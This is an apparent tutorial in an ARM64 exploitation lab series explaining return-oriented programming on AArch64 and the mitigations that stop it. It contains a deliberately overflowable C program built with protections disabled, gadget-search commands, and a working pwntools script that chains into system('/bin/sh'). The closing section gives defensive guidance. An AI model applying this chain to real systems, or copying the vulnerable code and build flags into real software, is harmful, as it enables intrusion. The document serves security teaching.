ROP on ARM64: Gadgets and the Link Register
AArch64 gadgets end in ret, which branches to x30 — so the chain is threaded through the link register with ldp gadgets. Build a system("/bin/sh") chain, then watch PAC and BTI break it.
This is the second walkthrough in the ARM64 Exploitation area. The previous guide hijacked a saved link register to reach a win() function. Here there is none, so we chain existing code — ROP — but the mechanics change because ret branches to x30, not to a stack slot.
Your own binary, disposable lab. See the lab rules.
The chain flows through the link register
On x86-64, ret pops the next gadget address off the stack, so a chain is simply a list of addresses (see the x86 ROP guide). On AArch64, ret branches to x30. To run gadget after gadget, each gadget must reload x30 from the stack before its ret. The workhorse is the ordinary function epilogue:
ldp x29, x30, [sp], #0x10 ; load next gadget address into x30 from the stack
ret ; branch to it
So an AArch64 chain is a sequence of stack entries that each gadget's ldp pulls into x30, interleaved with the argument values other gadgets load:
ldp x29,x30,[sp],#0x10 ; retloads next gadget into x30ldp x0,x1,[sp],#0x10 ; retloads x0 = &"/bin/sh"system (in libc)called with x0 = "/bin/sh"Loading arguments
Arguments live in x0–x7. You need gadgets that load them from the stack:
$ ROPgadget --binary vuln | grep -E 'ldp x0, x1, .*ret'
0x... : ldp x0, x1, [sp], #0x10 ; ret
$ ROPgadget --binary vuln | grep -E 'ldr x0, \[sp.*ret'
0x... : ldr x0, [sp, #0x8] ; ret
For system("/bin/sh") you load x0 with a pointer to the string and branch into system.
The target and chain
/* vuln.c — AArch64, static, mitigations off. */
#include <unistd.h>
void vuln(void){ char b[64]; read(0, b, 512); }
int main(void){ setvbuf(stdout,0,2,0); vuln(); return 0; }
aarch64-linux-gnu-gcc -static -fno-stack-protector -no-pie \
-mbranch-protection=none -O0 -g -o vuln vuln.c
pwntools understands AArch64 gadgets and lays out the link-register chain:
# arm_rop.py
from pwn import *
context.binary = elf = ELF("./vuln") # context.arch = 'aarch64'
libc = elf # static: system + "/bin/sh" inside
rop = ROP(elf)
binsh = next(elf.search(b"/bin/sh\x00"))
rop.call(elf.symbols["system"], [binsh]) # loads x0, branches to system
info(rop.dump())
payload = flat({72: rop.chain()}) # 72 = offset to saved lr
io = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu", "./vuln"])
io.send(payload)
io.interactive()
The first ldp … ret gadget (reached via the overwritten saved x30) pulls the next gadget into x30; that one loads x0; the last branch enters system. Same goal as x86 — system("/bin/sh") — reached by threading the chain through the link register instead of the stack pointer.
Gadget scarcity is real on ARM
AArch64 is fixed-width (4 bytes) with no unaligned decoding, so you cannot carve gadgets from the middle of instructions as on x86. The gadget supply is smaller. When it runs short, attackers fall back to whole-function reuse (ret2libc) — which on ARM is often the easier path — or signal-frame tricks.
Turn the mitigations back on
The ARM code-reuse defences are hardware features that attack the chain directly:
| Mitigation | Effect on the chain |
|---|---|
| Stack canary | Stops the overflow before the first ldp/ret |
| PIE + ASLR | Randomizes gadgets; needs a leak |
PAC (pac-ret) | Each protected ret authenticates x30; a forged link register faults |
| BTI | Indirect branches must land on a bti instruction; mid-function gadgets are invalid targets |
Both PAC and BTI are the subject of the next guide. The short version: PAC breaks the backward edge (returns), BTI breaks the forward edge (indirect jumps/calls), and together they make ARM code reuse markedly harder than on stock x86-64.
What this teaches a defender
- The link-register chain is the ARM signature. Recognising
ldp x29, x30, [sp], …gadgets in a chain is how you read AArch64 exploitation. Defensively, these are exactly the returns PAC signs. - Ship
-mbranch-protection=standard. It enables both PAC and BTI. On ARMv8.3+ hardware this is the most effective single measure against the technique in this guide. - Fixed-width ISA helps, a little. Fewer gadgets is a real (if secondary) benefit of AArch64. Do not rely on it — large binaries still have enough — but lean, minimally static builds compound the effect.
Key takeaways
- AArch64
retbranches tox30, so a ROP chain reloadsx30from the stack at each step vialdp x29, x30, [sp], #N ; retgadgets. - Arguments are loaded into
x0–x7withldp/ldrgadgets;system("/bin/sh")needsx0set. - Fixed-width instructions make gadgets scarcer than on x86, pushing attackers toward ret2libc.
- PAC (backward edge) and BTI (forward edge) are the ARM mitigations built to break this — covered next.
Next: PAC and BTI, the pointer-authentication and branch-target defences that make this chain fail.